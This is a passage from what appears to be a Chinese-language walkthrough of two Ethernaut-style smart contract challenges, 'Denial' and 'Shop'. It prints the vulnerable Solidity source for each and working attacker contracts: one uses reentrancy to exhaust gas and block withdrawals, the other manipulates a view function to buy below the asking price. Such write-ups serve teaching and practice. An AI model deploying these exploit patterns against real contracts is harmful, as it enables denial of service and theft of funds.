If you are using a low level call to continue executing in the event an external call reverts, ensure that you specify a fixed gas stipend. For example call.gas(100000).value().
Typically one should follow the checks-effects-interactions pattern to avoid reentrancy attacks, there can be other circumstances (such as multiple external calls at the end of a function) where issues such as this can arise.

5.7.21.1. source

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    function() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

5.7.21.2. solve

pragma solidity ^0.5.0;

contract Attacker {
    address target = 0x7a52870F38d9351ffb34998872AC016cC5036d51;
    function kill() public payable {
       selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址 
    }//为了把钱要回来真是煞费苦心
     
    function attack() public returns (uint) {
        target.call(abi.encodeWithSignature("setWithdrawPartner(address)",this));
        target.call(abi.encodeWithSignature("withdraw()"));    
        
    }
    
    function() external payable {
        target.call(abi.encodeWithSignature("withdraw()"));    
      //assert(false);
    }    
} 

通过重入的方式耗尽gas,因为耗尽gas所以前面转给攻击合约的操作也都回退了。

[图片上传失败...(image-832de2-1609663827302)]
[图片上传失败...(image-82f695-1609663827302)]

5.7.22. less gas :Shop

Сan you get the item from the shop for less than the price asked?
Things that might help:
- Shop expects to be used from a Buyer
- Understanding how gas() options works

5.7.22.1. source

pragma solidity ^0.5.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price.gas(3000)() >= price && !isSold) {
      isSold = true;
      price = _buyer.price.gas(3000)();
    }
  }
}

5.7.22.2. solve

pragma solidity ^0.5.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price.gas(3000)() >= price && !isSold) {
      isSold = true;
      price = _buyer.price.gas(3000)();
    }
  }
}

contract Attacker {

    function attack() public {
        Shop(0xf33F15621688dA129ff08937b6776A14BDfccf30).buy();
    }
    function price() external view returns (uint){
        return Shop(msg.sender).isSold() == true ? 99 : 100;
    }

}
上一篇 下一篇

猜你喜欢

热点阅读